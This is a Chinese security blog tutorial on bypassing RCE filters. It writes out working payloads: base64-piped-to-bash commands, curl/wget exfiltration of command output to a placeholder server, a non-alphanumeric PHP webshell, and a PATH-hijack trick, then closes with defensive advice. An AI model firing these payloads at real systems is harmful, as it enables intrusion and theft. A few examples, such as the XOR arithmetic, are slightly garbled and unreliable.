1. 从“命令执行”到“绕过艺术”:RCE攻防的本质
在安全测试和渗透评估的实战中,远程命令执行(RCE)漏洞的发现往往意味着一个关键突破点。它不像SQL注入那样需要复杂的回显判断,也不像XSS那样依赖用户交互,RCE的直接性让它成为攻击者最青睐的武器之一。然而,现实世界中的防护措施早已不是简单的“黑名单”或“白名单”就能概括。WAF、IDS、自定义过滤函数、沙箱环境……这些层层设防的机制,让一个看似简单的
system($_GET[‘cmd’])
漏洞点,变得遥不可及。这时候,考验的就不再是漏洞发现能力,而是
绕过技巧的深度与创造力
。
我遇到过太多这样的场景:一个存在明显命令注入点的应用,当你兴冲冲地输入
id
或
whoami
时,返回的却是一个冷冰冰的“非法字符”或者直接500错误。新手可能会就此放弃,认为漏洞不存在或已被修复。但老手知道,这恰恰是“游戏”的开始。RCE绕过,本质上是一场关于
系统环境、编程语言特性、过滤逻辑缺陷
的理解竞赛。攻击者需要像解谜一样,利用一切可用的“合法”字符和语法,拼凑出能够被目标系统正确解析并执行的指令。
这篇文章,我将结合多年在实战靶场、CTF比赛和内部红队评估中积累的经验,系统性地梳理RCE攻击的各类绕过技巧。我不会只给你一堆Payload列表,那样意义不大。我会重点拆解每一个技巧背后的 原理 和 适用场景 ,告诉你为什么这个字符能用,那个组合为什么有效,以及在面对不同的过滤规则时,你的思考路径应该是什么。无论是刚入门的安全爱好者,还是想深化绕过技能的安全工程师,希望这些“脏套路”和“奇技淫巧”,能为你打开一扇新的门。
2. 命令执行绕过的核心思路与分类
在深入具体技巧之前,我们必须建立一个清晰的认知框架。RCE绕过的目标始终是: 让目标系统成功执行我们意图中的命令 。所有技巧都服务于这个目标,并围绕以下几个核心思路展开:
2.1 思路一:字符逃逸与替代
这是最基础也是最广泛的思路。当过滤系统禁止或转义了某些关键字符(如空格、分号、管道符、关键字)时,我们需要找到功能等效的替代品。
-
空格绕过
:
$IFS(内部字段分隔符)、${IFS}、%09(制表符的URL编码)、<、>、{cat,flag.txt}(花括号扩展)。 -
命令分隔符绕过
:分号
;被过滤?试试换行符\n(需要编码)、逻辑运算符&&、||、&(后台执行),或者利用子shell$(cmd)或反引号`cmd`本身就能执行命令的特性。 -
关键字绕过
:过滤了
cat、flag等单词?可以利用变量拼接、通配符、编码、反斜杠转义自身等方式。
注意 :替代字符的有效性高度依赖于目标系统的环境(Linux/Windows)、使用的Shell(bash/sh/zsh/dash)以及Web应用的语言(PHP/Python/Java)。比如
$IFS在bash中很好用,但在某些受限的sh环境中可能未定义。
2.2 思路二:利用语法特性与未初始化变量
Shell和编程语言有很多灵活的语法,这些特性在编写脚本时是便利,在绕过时就成了利器。
-
变量拼接
:
a=c;b=at;c=flag.txt;$a$b $c。这绕过了对完整命令cat的字符串匹配。 -
通配符
:
/???/?at可能匹配到/bin/cat。问号?代表一个任意字符,星号*代表任意多个字符。这在路径和文件名被部分过滤时非常有用。 -
花括号扩展
:
{cat,flag.txt}在bash中会被扩展为cat flag.txt两个参数。它不依赖于空格,是一种优雅的绕过方式。 -
未初始化变量
:在bash中,未定义的变量默认值为空。你可以利用这一点进行拼接,例如
$x(x未定义)就是一个空字符串,可以插入到命令中而不影响执行,有时能干扰简单的正则匹配。
2.3 思路三:编码与十六进制/八进制表示
直接将敏感字符进行编码,使其在过滤逻辑看来是“无害”的,但在系统解析时又能还原。
-
Base64编码
:
echo Y2F0IC9ldGMvcGFzc3dkCg== | base64 -d | bash。将命令cat /etc/passwd先base64编码,然后管道解码并交给bash执行。这能绕过绝大多数基于关键字的黑名单。 -
Hex/Octal编码
:Shell支持
$'\xHH'(十六进制)和$'\0OOO'(八进制)的形式表示字符。例如,空格可以表示为$'\x20'或$'\040'。可以构造cat$'\x20'/etc/passwd。 -
URL编码
:在Web环境下,参数通常经过URL解码。你可以提交
cat%20/etc/passwd,%20会在服务器端被解码为空格。但要注意,如果应用在代码层面对原始输入做过滤,URL编码可能无效。
2.4 思路四:利用外部资源与协议
当命令执行受到极度严格限制,甚至无法直接输出时,可以考虑“曲线救国”,将执行结果发送到外部可控的地方。
-
DNS带外(DNS Exfiltration)
:
curlwhoami.your-domain.com。命令执行的结果whoami会作为子域名的一部分发起DNS查询,你在自己的DNS服务器日志上就能看到结果。这常用于无回显的盲注场景。 -
HTTP带外
:
curl http://your-server/$(whoami)或wget http://your-server/$(cat /flag)。将结果作为HTTP请求的一部分(URL参数或路径)发送到你的服务器。 -
时间盲注
:利用
sleep命令或ping -c来根据命令执行成功与否产生时间延迟,从而判断布尔条件。例如:cat /flag | grep -q “flag{“ && sleep 5。如果文件包含flag{则睡眠5秒,否则立即返回。
3. 针对不同过滤场景的实战绕过详解
了解了核心思路,我们进入实战环节。我将模拟几种常见的、逐渐加强的过滤场景,展示如何一步步思考和组合使用上述技巧。
3.1 场景一:基础关键字与空格过滤
假设后端PHP代码如下:
$cmd = $_GET[‘cmd’];
$blacklist = array(‘cat’, ‘flag’, ‘ ‘, ‘;’, ‘|’, ‘&’);
$cmd = str_replace($blacklist, ‘’, $cmd);
system($cmd);
这是一个非常粗糙的黑名单替换,将所有黑名单字符替换为空字符串。
我们的Payload构造过程:
-
目标
:读取
/flag文件。 -
直接尝试
:
cat /flag会被处理成cat/flag(空格被删),执行失败。 -
绕过空格
:使用
$IFS。尝试cat$IFS/flag。经过过滤,$IFS中的字符不会被删除,执行后变成cat/flag?等等,这里有个陷阱。str_replace是顺序处理,且是递归替换吗?通常不是。$IFS本身不包含黑名单字符,所以会被保留。但系统执行时,$IFS是一个变量,其值通常是空格、制表符、换行符。所以cat$IFS/flag实际会变成cat /flag(假设IFS默认值包含空格),成功! -
绕过关键字
cat和flag:使用变量拼接。-
构造
a=c;b=at;c=fl;d=ag;$a$b $IFS $c$d。注意,这里的分号;在黑名单里。我们需要换一种分隔方式。 -
使用换行符的URL编码
%0a(在HTTP请求中)。Payload:a=c%0ab=at%0ac=fl%0ad=ag%0a$a$b$IFS$c$d。服务器收到后,%0a被解码为换行,相当于在shell中分四行定义了变量a,b,c,d,最后一行执行命令。过滤逻辑会删除空格和分号,但不会删除换行符和$IFS。最终变量展开后,命令得以执行。
-
构造
-
更优雅的绕过
:使用
more、less、head、tail、nl、tac、rev、od、xxd等替代cat。同时,使用通配符匹配文件名。例如,如果文件就叫flag,可以用/???/more f*或tail -f f???’。
3.2 场景二:严格正则匹配与长度限制
假设过滤升级为正则表达式,并且限制了输入长度:
if (preg_match(‘/(cat|flag| |;|\||&|>|<|\\$|\\[|\\]|\\(|\\))/i’, $cmd)) {
die(‘Hacker!’);
}
if (strlen($cmd) < 5) {
die(‘Too short!’);
}
这个正则匹配了更多字符,包括各种符号和括号,并且要求命令长度大于5。
我们的Payload构造过程:
-
分析限制
:空格、分号、管道、重定向、美元符、括号都被禁了。这意味着变量拼接
$a、命令替换$(...)、管道传递都变得困难。长度限制要求我们构造的Payload不能太短。 -
寻找漏网之鱼
:正则里似乎没有过滤反引号
`(虽然很多环境里反引号和$()功能相同,但字符本身不同)。也没有过滤反斜杠\和单引号’?这需要测试。假设单引号可用。 -
利用反引号命令替换
:虽然
$()被过滤,但反引号可能幸存。我们可以尝试`ls`。但如何将结果传递给下一个命令(比如cat)呢?没有管道符|。 -
利用Shell参数扩展
:在bash中,
${PWD}表示当前目录。我们可以尝试用*通配符。假设flag在当前目录,我们可以用/???/c?t f*。但cat和flag关键字被正则/i(不区分大小写)匹配,所以cAt、FlAg也不行。 -
终极武器:Base64编码
:这是应对严格关键字过滤的经典方法。
-
本地准备命令:
echo “cat /flag” | base64得到Y2F0IC9mbGFnCg==。 -
构造Payload:
echo$IFS\“Y2F0IC9mbGFnCg==\”|base64$IFS-d|sh。 -
问题
:正则过滤了空格
,我们用$IFS替代。但$IFS以$开头,而\\$在正则中匹配$!所以$IFS本身会被匹配到,导致失败。 -
绕过
$过滤 :这里展示了正则的一个常见弱点:它匹配的是字面字符$。但如果我们能构造出一个变量,其 值 是$IFS,而在Payload中不直接出现$字面量呢?这很难。换个思路,正则中的\\$可能只匹配单独的$字符,而不匹配转义后的或其他形式的?不一定可靠。
-
本地准备命令:
-
换用其他编码或表示法
:既然
$可能被过滤,我们回到最简单的 连接符 。在Shell中,即使没有空格和分号,直接写cat/flag会被当作一个命令cat/flag去执行,当然不存在。但我们可以利用 未加引号的字符串拼接 特性吗?不行。 -
时间盲注作为最后手段
:如果所有带外数据的方法都失效,且无回显,可以考虑时间盲注。但这里正则过滤了括号
(),导致$(...)和(...)不可用。但反引号可能还在。可以尝试:`sleep 5`来测试命令是否执行。但如何构造条件判断呢?需要test命令或[ ],但方括号[]被过滤了。可以使用-a、-o逻辑运算符结合test命令,但同样需要空格。这条路似乎也被堵死。
这个场景非常严格,它告诉我们, 不存在通用的万能Payload 。当遇到这种级别的过滤时,需要:
- 精确测试正则表达式 :通过fuzz逐个字符测试,画出真正的“允许字符集”。
-
寻找解析差异
:Web应用层的过滤(PHP的
preg_match)和最终执行层的Shell解析可能存在差异。例如,PHP收到的参数是URL解码后的,而Shell还会进行变量扩展、通配符扩展等。可能存在多层解析导致的绕过。 - 利用环境变量 :也许可以通过注入环境变量来影响后续命令的行为,但这通常需要更复杂的条件。
3.3 场景三:无字母数字的Web Shell(无参数RCE)
这是一种在CTF和高度受限环境中常见的挑战:只能使用有限字符集(例如,不允许任何字母和数字)构造出能执行任意代码的Payload。常见于PHP环境,因为PHP的语法非常灵活。
核心技巧:利用PHP的非字母数字字符生成字符串,并调用函数。
-
异或(XOR)
:在PHP中,两个字符串进行异或运算,可以得到第三个字符串。例如,
‘A’ ^ ‘!’的结果是‘t’(因为ASCII码 65 XOR 33 = 96,对应字符 `)。通过精心选择非字母数字的字符进行异或,可以拼凑出像system、cat这样的函数名和参数。 -
取反(~)
:PHP的取反运算符
~作用于字符串时,会对每个字符的ASCII码进行按位取反。例如,~‘%8C%86%8C%8B%9A%92’(这是一串URL编码)经过取反操作后,可以得到字符串system。因为取反操作本身不涉及字母数字,我们可以先构造一个经过取反后是我们目标字符串的Payload,然后通过(~‘...’)()的形式来执行函数。 -
自增运算符
:在PHP中,
‘a’++会变成‘b’。我们可以从一个非字母数字的变量开始,通过自增得到我们需要的字母。例如,在PHP中,如果我们可以设置一个变量为$_=‘a’^‘!’;(得到一个非字母数字的字符),然后通过复杂的自增链得到assert或system的字符,但这通常需要借助其他技巧。
一个经典的无字母数字Web Shell Payload(利用取反和URL编码):
<?php
$payload = ‘(~%8C%86%8C%8B%9A%92)(~%93%8C%DF%D0)’;
// 实际执行: (~‘%8C%86%8C%8B%9A%92’) 得到字符串 ‘system’
// (~‘%93%8C%DF%D0’) 得到字符串 ‘ls /’
// 所以整个表达式是 system(‘ls /’);
eval($payload);
?>
在真实漏洞利用中,我们可能通过一个参数传入这串编码后的字符,并利用
$_GET[‘a’]($$_GET[‘b’])
这种动态函数调用的方式,配合取反构造的函数名和参数来执行。
实操心得 :无字母数字RCE的构造非常精妙,更像是在解一道数学题或逻辑谜题。在实战中,除非遇到极端过滤,否则很少需要手动构造。但理解其原理至关重要,它能帮你深刻理解PHP语言的特性和字符编码的本质。通常,我们会使用现成的工具(如
phpggc项目中的一些链,或在线生成器)来生成Payload,但必须清楚其工作原理,因为目标环境可能禁用某些函数(如assert),导致生成的Payload失效,需要手动调整。
4. 操作系统与语言特性进阶绕过
不同的操作系统和编程语言环境,提供了独特的绕过可能性。
4.1 Linux/Unix Shell 特性利用
-
内联执行(Inline Execution)
:通过
$()或反引号将命令执行结果作为参数。例如,查找flag文件并读取:cat $(find / -name ‘*flag*’ 2>/dev/null | head -n 1)。即使cat和flag被过滤,find命令可能幸存。 -
Here Document
:
cat <<< “hello”是一种将字符串直接传递给命令的方式。在某些过滤场景下,<<<这个重定向操作符可能不被过滤。 -
进程替换(Process Substitution)
:
cat <(ls)或diff <(ls /home) <(ls /root)。<()操作符会将命令的输出作为一个临时文件描述符传递。这可以用于组合多个命令的结果,绕过某些需要文件输入的过滤。 -
利用已加载的命令别名或函数
:在用户的Shell环境中,可能定义了别名,如
alias ll=‘ls -l’。或者通过环境变量$PATH注入,将当前目录(.)放在$PATH最前面,然后在当前目录上传一个名为ls的恶意脚本,当用户执行ls时,实际执行的是我们的脚本。
4.2 Windows 命令提示符(CMD)绕过
Windows下的RCE绕过思路与Linux不同,主要利用CMD的特性和批处理语法。
-
空格绕过
:使用
%PROGRAMFILES:~10,-4%这样的变量截取技巧可以生成空格。更简单的是,在CMD中,某些情况下路径中的空格可以用短文件名(8.3格式)代替,例如C:\Progra~1\。 -
关键字绕过
:
c”a”t或c^a^t。^是CMD的转义字符,它可以让后面的字符被当作普通字符处理,从而绕过简单的字符串匹配。“也有类似效果。 -
变量截取与拼接
:
%COMSPEC:~0,1%会得到C(%COMSPEC%通常是C:\Windows\System32\cmd.exe)。通过组合不同的环境变量和截取位置,可以拼出任意命令。例如,set a=net&& set b= user&& call %a%%b%最终会执行net user。 -
通配符
:Windows也支持
*和?通配符,但不如Linux灵活。 -
利用
for和if命令 :批处理命令for和if可以用于构造复杂的逻辑。例如,for /f %i in (‘dir /b’) do @echo %i会遍历当前目录文件并回显。
4.3 PHP语言特性绕过
除了前述的无字母数字技巧,PHP还有其他特性:
-
动态函数调用
:
$_GET[‘func’]($_GET[‘arg’]);。如果存在这样的代码,我们可以通过控制func和arg参数来执行任意函数。 -
create_function()代码注入 :这个已废弃的函数会动态创建匿名函数,其函数体来自字符串参数。如果用户输入被拼接到函数体字符串中,可能导致代码执行。例如:create_function(‘$a’, ‘echo $a . ‘ . $_GET[‘data’] . ‘;’);。 -
preg_replace()的/e修饰符(已废弃) :在PHP老版本中,preg_replace使用/e修饰符时,第二个参数(替换字符串)会被当作PHP代码执行。例如:preg_replace(‘/.*/e’, $_GET[‘cmd’], ‘.’);。 -
反序列化漏洞
:虽然这不属于直接的命令注入,但通过构造恶意的序列化字符串,可以触发类的
__destruct()、__wakeup()魔术方法中的危险操作(如system()调用),最终达到RCE的目的。这是另一条重要的攻击路径。
5. 工具辅助与自动化Fuzz
手动构造Payload虽然能锻炼思维,但效率低下。在实际渗透测试中,我们依赖工具来提高效率。
-
Fuzz字典 :准备一个精心编排的Payload字典是关键。这个字典不应该只是简单的命令列表,而应该包含各种绕过技巧的组合。例如:
-
空格替代:
$IFS,${IFS},%09,{cat,flag.txt} -
命令分隔:
%0a,%0d,&&,||,&,| -
命令拼接:
a=c;b=at;$a$b,/???/?at,c\at -
编码混淆:Base64, Hex, Octal表示
使用工具如
ffuf、wfuzz或Burp Suite Intruder加载字典进行批量测试。
-
空格替代:
-
专用工具 :
- Commix :一个非常强大的自动化命令注入检测和利用工具。它内置了海量的绕过技术(tamper脚本),可以自动识别注入点,并尝试各种方法获取Shell。在发现可能的注入点后,用Commix进行深入利用是标准流程。
-
SQLmap with
--os-shell:是的,SQLmap不仅能打SQL注入,当通过SQL注入获取到一定权限(如文件写权限、into outfile权限)后,可以尝试使用--os-shell参数来获取一个交互式的操作系统Shell。其原理通常是写入一个Web Shell或利用数据库的特性执行系统命令。
-
自定义脚本 :针对特定的过滤逻辑,编写Python脚本进行模糊测试。例如,逐个字符测试哪些字符被过滤,哪些字符能通过,从而精确描绘出“允许字符集”。然后基于这个字符集,使用算法(如遗传算法)自动生成可能有效的Payload。
注意事项 :自动化工具虽然强大,但噪音也大,容易触发WAF的防护规则或被封IP。在正式测试中,应先用手工方式轻量测试,确认存在注入点后,再在合适的时机(如测试环境、获得明确授权的时间窗口)使用工具进行深度利用。同时,要理解工具每一步在做什么,否则当工具失败时,你将无从下手进行手动调整。
6. 防御视角与排查技巧
作为防守方(蓝队或开发者),了解攻击技巧是为了更好地防御。
-
输入验证与净化(白名单优于黑名单) :
- 绝对不要使用黑名单 :黑名单永远无法穷尽所有可能性。上述所有绕过技巧都是对黑名单的嘲讽。
-
使用严格的白名单
:如果参数预期是一个数字,就用
intval()或is_numeric()严格校验。如果预期是一个有限的选项(如start/stop),就只允许这两个值。 -
如果需要接受复杂输入
:使用安全的API。对于系统命令,使用
exec()、system()、shell_exec()、passthru()等函数时,必须确保参数完全可控。更好的方式是使用proc_open()或popen()并仔细设置参数,或者避免使用这些函数。
-
避免命令执行 :这是最根本的。问问自己,是否真的需要调用系统命令?很多功能可以用编程语言的原生库实现。例如,用PHP的
scandir()代替ls,用file_get_contents()代替cat。 -
最小权限原则 :运行Web服务的进程(如www-data、nginx)应该被限制在最低必要的权限。即使被RCE,攻击者也只能在有限的沙箱中活动,无法读取敏感文件或进行横向移动。
-
安全编码与代码审计 :
- 对用户输入进行 规范化 和 编码 后再进行验证。
-
使用参数化调用(对于命令行,这意味着将命令和参数分开传递,而不是拼接字符串)。例如在Python中:
# 危险 os.system(‘ping ’ + user_input) # 安全 subprocess.run([‘ping’, ‘-c’, ‘4’, user_input], shell=False) # 但user_input仍需验证 -
在PHP中,可以使用
escapeshellarg()或escapeshellcmd()函数,但要注意它们并非银弹,在复杂情况下也可能被绕过。
-
WAF与运行时防护 :
- 部署WAF规则,检测常见的命令注入模式。
- 使用RASP(运行时应用自我保护)技术,在应用内部监控危险函数的调用,并结合上下文进行阻断。
排查技巧实录
:当你在日志中看到可疑的、包含大量特殊字符
$
、
{
、
}
、
|
、
&
、反引号、百分号的请求时,就要高度警惕可能存在的命令注入尝试。特别是那些参数值长得不像正常输入,而像一段“乱码”或“编码后字符串”的请求。检查应用代码中所有调用外部命令或程序的地方,特别是那些将用户输入直接或间接拼接进命令字符串的位置。

945

被折叠的 条评论
为什么被折叠?



